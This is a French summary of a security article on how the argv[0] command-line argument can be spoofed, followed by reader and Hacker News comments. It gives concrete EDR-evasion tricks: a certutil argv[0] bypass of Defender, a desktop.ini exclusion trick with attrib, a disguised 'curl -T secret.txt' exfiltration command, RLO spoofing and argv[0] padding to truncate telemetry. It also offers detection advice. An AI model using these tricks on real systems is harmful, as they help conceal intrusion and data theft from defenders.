9 points par GN⁺ 2024-09-04 | 2 commentaires | Partager sur WhatsApp
  • La ligne de commande est étrange
  • Windows est particulièrement connu pour ce type de problème, mais la façon dont la plupart des systèmes d’exploitation implémentent la ligne de commande peut créer des problèmes de sécurité
  • Cet article explique les problèmes liés à la convention qui réserve le premier argument de la ligne de commande d’un processus, argv[0], pour représenter le nom du processus

argv[0] est un vestige du passé

  • Au démarrage d’un programme, les arguments de ligne de commande sont reçus et rendus accessibles à l’intérieur du programme, et ils font effectivement partie des toutes premières informations fournies lors du lancement
    • C’est un mécanisme majeur pour modifier le flux d’exécution du programme
  • Si l’on regarde la famille d’appels système exec adoptée par POSIX et DOS/Win32
    • int execv(const char *path, char *const argv[]);
    • Pour appeler cette fonction execv, il faut fournir au programme le chemin complet de l’application à exécuter dans path, ainsi qu’un vecteur d’arguments dans argv, et elle renvoie un entier contenant un code d’état
    • Selon cette spécification, si le programme est exécuté avec succès à la suite de cet appel, le programme cible est invoqué via int main (int argc, char *argv[]);
  • Dans toutes les normes C, argc n’est pas négatif, argv[argc] est un pointeur nul, et si argc est supérieur à 0, alors argv[0] représente le nom du programme invoqué
  • Certains peuvent s’interroger sur la nécessité de argv[0]
    • « Le nouveau processus connaît évidemment son propre nom, alors pourquoi faut-il le transmettre comme premier argument du processus appelant ? »
    • Dans un environnement POSIX, un programme peut être invoqué via un lien symbolique, ce qui permet au nouveau processus de savoir quelle requête lui a été adressée
    • Par exemple, sur Debian, shutdown et reboot pointent vers le même exécutable systemctl, qui se comporte différemment selon la commande appelée
  • Cela ressemble à une décision de conception discutable
    • « Un programme devrait-il vraiment se comporter différemment selon son propre nom ? »
    • D’un point de vue moderne, cela semble réduire la prévisibilité du logiciel et aller à l’encontre des principes de conception contemporains
    • Vu depuis les années 1970-1980, cela peut se comprendre comme une tentative de minimiser les duplications à une époque où les ressources informatiques étaient limitées
    • Mais aujourd’hui, l’espace disque n’est plus un problème majeur. Par exemple, sur macOS Sonoma, shutdown et reboot existent comme exécutables distincts
    • Il y a débat sur le fait de savoir s’il est réellement nécessaire de fusionner deux programmes similaires en un seul fichier, ou s’il serait plus approprié d’utiliser des arguments de commande
  • Même si l’on accepte ce principe, son implémentation reste elle aussi discutable
    • On peut se demander si l’information de argv[0] doit vraiment être fournie comme une partie des arguments du processus
    • Les programmes qui dépendent de argv[0] peuvent échouer si le processus appelant ne le définit pas correctement
    • Certains programmes utilisent aussi argv[0] de manière inappropriée sur le plan de la sécurité
    • Une meilleure approche consisterait à séparer argv[0] dans une structure comme task_struct ou via une fonctionnalité du PEB, afin que le système d’exploitation gère cette valeur
      • Cela permettrait un suivi cohérent et réduirait les possibilités de manipulation
  • Le système d’exploitation qui s’en rapproche le plus est, étonnamment, Windows
    • Contrairement aux autres grands systèmes d’exploitation, Windows ne définit pas argv[0] lors de la création d’un nouveau processus
    • Les appels API de Windows (CreateProcess, ShellExecute) définissent automatiquement argv[0] à partir du chemin de l’exécutable
    • Bien que ce soit l’implémentation la plus sensée, Windows adopte aussi l’appel POSIX exec, ce qui laisse malgré tout une possibilité de définir argv[0] manuellement

argv[0] est ignoré (dans la plupart des cas)

  • Quelle que soit votre position sur l’importance de argv[0], dans la pratique argv[0] existe et s’accompagne de problèmes
  • Lors d’un appel exec, le système d’exploitation prend en charge les deux premières des trois conditions mentionnées plus haut, mais pas la dernière, liée à argv[0]
  • Comme l’appelant de exec contrôle entièrement argv, il peut ignorer cette exigence, et ni le système d’exploitation ni les programmes appelant/appelé ne vérifient cette violation
  • Exemples d’ignorance de argv[0]
    • Pour afficher Hello, world! avec echo, on appelle généralement execv("/usr/bin/echo", ["echo", "Hello, world!"])
    • Mais si l’on appelle execv("/usr/bin/echo", ["oopsie", "Hello, world!"]), le programme echo s’exécute quand même normalement et affiche Hello, world!
    • Le programme echo ignore argv[0] et se concentre uniquement sur les arguments à partir de argv[1]
    • La plupart des programmes adoptent une approche similaire et ignorent argv[0]
  • Exemples de manipulation de argv[0]
    • Plusieurs langages de programmation et de script, dont le C, permettent de manipuler argv[0] :
    python3 -c "import os; os.execvp('/path/to/binary', ['ARGV0', '--other', '--args', '--here'])"  
    perl -e 'exec {"/path/to/binary"} "ARGV0", "--other", "--args", "--here"'  
    ruby -e "exec(['/path/to/binary','ARGV0'],'--other', '--args', '--here')"  
    bash -c 'exec -a "ARGV0" /path/to/binary --other --args --here'  
    
  • Manipuler argv[0] est simple et, dans la plupart des cas, cela n’affecte pas l’exécution du programme. Mais du point de vue de la sécurité, cela peut poser problème

argv[0] peut faire tomber les mécanismes de défense

  • argv[0] peut être utilisé pour tromper les logiciels de sécurité. Si un utilisateur malveillant compromet un système, il le manipule en exécutant les commandes de l’attaquant
  • Les logiciels de défense comme les AV et les EDR surveillent l’exécution des processus et détectent ou bloquent certaines commandes lorsqu’elles sont jugées nuisibles. La plupart des solutions détectent activement les commandes fréquemment utilisées par les attaquants
  • Exemple : le mauvais usage de la commande certutil
    • certutil, utilitaire en ligne de commande intégré à Windows, est fréquemment utilisé dans les attaques. Après un accès initial, il sert souvent à télécharger une charge utile externe
    • Microsoft Defender Antivirus bloque l’exécution de certutil lorsqu’il y a des arguments de ligne de commande indiquant une tentative de téléchargement de fichier. Mais si l’on lance certutil avec argv[0] défini sur un espace, Defender ne le bloque pas
    • Cela illustre un problème lié au fait que la détection de sécurité considère le nom du programme comme faisant partie de la ligne de commande. Par exemple, si la logique de détection est formulée comme command_line.contains('certutil') AND command_line.contains('-urlcache'), elle suppose que certutil fait partie de la ligne de commande. Or, en manipulant argv[0], on peut contourner cette logique
    • Une logique de détection plus robuste serait formulée comme process_path.endswith('certutil.exe') AND command_line.contains('-urlcache')
  • Contournement de détection via argv[0]
    • Il est aussi possible de contourner la détection en ajoutant des mots-clés de réglage dans argv[0]. La détection combine généralement des conditions de base et des conditions supplémentaires pour filtrer les faux positifs
    • Par exemple, une règle de détection peut se déclencher lorsque attrib.exe cache un fichier. Mais dans la pratique, il s’exécute souvent de façon légitime sur le fichier desktop.ini
    • Un attaquant au courant de ce comportement peut inclure desktop.ini dans argv[0] afin d’échapper à la détection. Par exemple : argv = ['attrib_\desktop.ini', '+H', 'backdoor.exe']

argv[0] permet de tromper

  • argv[0] peut être détourné non seulement pour tromper les logiciels de sécurité, mais aussi les personnes
  • Les analystes sécurité examinent les alertes générées par des outils comme les EDR, et ces alertes incluent la ligne de commande du processus concerné
  • La ligne de commande d’un processus est une information essentielle pour décider s’il faut approfondir une alerte ou l’ignorer
  • Exemple : tromperie via la ligne de commande
    • Une alerte pour une possible exfiltration de données peut être déclenchée lorsqu’on exécute la commande curl -T secret.txt 123.45.67.89. Cette commande envoie le fichier secret.txt à l’adresse IP 123.45.67.89
    • Dans le même scénario, si argv[0] est modifié de curl en curl localhost | grep, la commande reste tout à fait valide
    • Les logiciels de sécurité affichent souvent le tableau des arguments de ligne de commande comme une chaîne séparée par des espaces. Dans ce cas, la commande risque donc d’apparaître comme curl localhost | grep -T secret.txt 123.45.67.89
    • Pour l’analyste, cela peut donner l’impression que curl localhost est exécuté puis que son résultat est transmis à grep -T secret.txt 123.45.67.89. En réalité, le comportement consiste toujours à envoyer des informations vers une adresse distante, mais cela peut être interprété à tort comme un téléchargement depuis une adresse locale
  • Utilisation du caractère Right-To-Left Override (RLO)
    • Il est possible de manipuler argv[0] avec le célèbre caractère RLO (réordonnancement droite-gauche)
    • Ce caractère Unicode indique à l’application de rendu d’afficher les caractères suivants dans l’ordre inverse
    • En insérant un RLO dans argv[0], on peut faire apparaître ping moc.elgoog.some-evil-website.com comme ping moc.etisbew-live-emos.google.com
    • Cette technique n’affecte pas la logique de détection, mais elle peut tromper l’analyste
  • Ces techniques montrent les nombreuses façons dont argv[0] peut être manipulé pour tromper à la fois les logiciels de sécurité et l’œil humain afin de dissimuler une activité malveillante

argv[0] peut corrompre la télémétrie

  • Comme argv[0] se trouve tout au début de la ligne de commande, le remplir avec suffisamment de caractères permet de repousser tous les autres arguments vers la fin
  • Cela peut poser problème pour deux raisons : d’abord, on peut « cacher » les éléments intéressants à la fin de la ligne de commande en espérant que l’analyste ne fasse pas défiler ; surtout, si la ligne de commande devient suffisamment longue, le logiciel de supervision peut tronquer les arguments réellement importants
  • Limites de longueur de ligne de commande
    • Depuis Windows 7, la longueur maximale d’une ligne de commande sous Windows est limitée à 14 336 caractères (environ 14 KiB)
    • Dans le noyau Linux, la longueur maximale est codée en dur à 32 pages mémoire, soit environ 131 072 caractères (128 KiB) sur une architecture 64 bits
    • macOS Sonoma autorise des lignes de commande allant jusqu’à 1 048 576 caractères (1 MiB)
    • Cela signifie qu’il existe énormément d’espace arbitraire que argv[0] peut occuper
  • Exemples de corruption de télémétrie
    • Les logiciels de supervision des processus (par exemple les EDR) peuvent enregistrer intégralement les longues lignes de commande, ou les tronquer à une longueur fixe pour réduire la surcharge
    • Si les longues lignes de commande sont enregistrées en entier, il suffit de lancer 1 000 processus avec la longueur maximale pour générer 1 GiB de données de logs
    • Si un tronquage est appliqué, les arguments de ligne de commande peuvent disparaître de la télémétrie. Par exemple, la commande perl -e 'exec {"echo"} "_"x50000, "Hello, world!"' affiche “Hello, world!”, mais la télémétrie de l’exécution peut n’enregistrer qu’une suite de caractères de soulignement, voire une ligne de commande entièrement vide
    • En conséquence, les arguments réellement importants disparaissent, et la logique de détection comme les analystes ne peuvent plus comprendre ce qui s’est réellement passé

Les risques de argv[0] : prévention et détection

  • argv[0] tente de résoudre un problème, mais en crée beaucoup d’autres
  • Il est peu probable que argv[0] disparaisse bientôt ; du point de vue de la sécurité, il faut donc se concentrer sur la manière de le gérer
  • Mesures de prévention
    • Les développeurs peuvent comparer argv[0] à leur propre nom de fichier pour vérifier s’il a été manipulé, mais cette approche passe mal à l’échelle
    • Le système d’exploitation pourrait effectuer ce contrôle de manière plus fiable. S’appuyer sur argv[0] pour modifier le comportement d’un programme est fortement déconseillé
    • Dans la mesure du possible, il vaut mieux que les développeurs n’interagissent pas avec argv[0]
  • Méthodes de détection pour les professionnels de la sécurité
    • Comprendre le fonctionnement de argv[0] et les problèmes qu’il pose est une étape importante pour prévenir les tromperies liées à la ligne de commande
    • Si le logiciel de sécurité fournit les arguments de ligne de commande sous forme de tableau, il est possible d’identifier certains motifs de manière fiable
    • Les valeurs de argv[0] anormalement longues, ou contenant des caractères suspects comme le symbole de pipe, devraient immédiatement être marquées comme suspectes
    • Même si les arguments de ligne de commande sont fournis sous forme de chaîne, on peut signaler les lignes de commande qui ne contiennent pas le nom du programme. Cela suggère que argv[0] a été manipulé
    • La simple présence d’un caractère RLO constitue, dans la plupart des environnements, une méthode de détection très efficace
    • Dans le cas d’arguments tronqués, il faut comprendre comment les solutions de sécurité et les data lakes les traitent, et quel impact cela a sur la télémétrie produite
  • Améliorations des logiciels de défense
    • Les logiciels de défense devraient améliorer leur détection des abus de argv[0]. Il devrait être possible de bloquer l’exécution d’un logiciel avec une valeur de argv[0] suspecte, sans provoquer de faux positifs
    • Les plateformes EDR devraient aussi envisager d’exclure argv[0] lorsqu’elles rapportent les arguments de ligne de commande. Cela éliminerait la plupart des problèmes soulignés dans cet article, alors que sa valeur forensique reste faible dans la majorité des cas
  • En fin de compte, personne n’a envie d’avoir des ennuis à cause de argv[0]. Nos logiciels non plus

Le résumé de GN⁺

  • argv[0] est un vestige du passé, contraire aux principes de conception des logiciels modernes
  • La plupart des programmes ignorent argv[0], mais cela peut créer des problèmes de sécurité
  • argv[0] peut tromper les logiciels de sécurité et les personnes, et peut corrompre la télémétrie
  • Les professionnels de la sécurité doivent détecter les abus de argv[0], et les logiciels de défense doivent mieux les prendre en charge

2 commentaires

 
scari 2024-09-05

C’est peut-être parce que je suis de la vieille école, mais je n’adhère pas vraiment à l’argument de l’auteur. Le problème, c’est exec, et j’ai l’impression que les retombées éclaboussent argv[0].

 
GN⁺ 2024-09-04
Avis Hacker News
  • L’opposition à la lecture de argv[0] reflète l’ignorance de l’auteur ou la nécessité d’une défense très forte

    • On peut se demander comment busybox est censé fonctionner sur une machine OpenWrt avec un système de fichiers racine de 16 Mo
    • Les discussions visant à limiter l’usage de la valeur de argv[0] méritent d’être envisagées
    • Les attaquants peuvent malgré tout contourner les mesures de sécurité
  • argv[0] sert de cible de liens symboliques pour des centaines de commandes

    • Android l’utilise pour la plupart des commandes shell courantes
    • Toybox et busybox en sont des exemples
  • Des outils qui utilisent argv[0] permettent d’exécuter des commandes de l’hôte depuis l’intérieur d’un conteneur

    • Exemple : on peut configurer la commande flatpak pour qu’elle s’exécute sur l’hôte
  • Il n’y a rien de problématique à ce qu’un programme se comporte différemment selon son nom

    • Inclure le nom du programme dans les arguments d’appel est très utile
  • Les objections à argv[0] soutiennent que cela va à l’encontre des principes de conception modernes

    • En présence de symlinks, il est raisonnable qu’un programme sache comment il a été invoqué
    • Python utilise argv[0] pour vérifier s’il est dans un virtualenv et ajuster le chemin de recherche
  • argv[0] n’est pas particulièrement mauvais du point de vue de la sécurité

    • Il vaut mieux corriger les logiciels de sécurité pour qu’ils échappent correctement les valeurs de argv
  • argv[0] ne pose pas de problème

    • La plupart des gens utilisent argv[0] pour distinguer les versions d’une commande
  • busybox utilise argv[0] en mode « shim »

    • Pour la sécurité, il est plus important d’utiliser des mécanismes plus profonds comme SELinux
  • macOS configure plusieurs commandes pour qu’elles pointent vers un seul exécutable

    • Cela améliore l’ergonomie CLI et réduit la duplication de code grâce à argv[0]
  • Supprimer argv[0] ferait perdre des fonctionnalités utiles

    • La sécurité réseau doit être traitée au niveau du réseau
    • Même en supprimant argv[0], les attaquants trouveraient d’autres moyens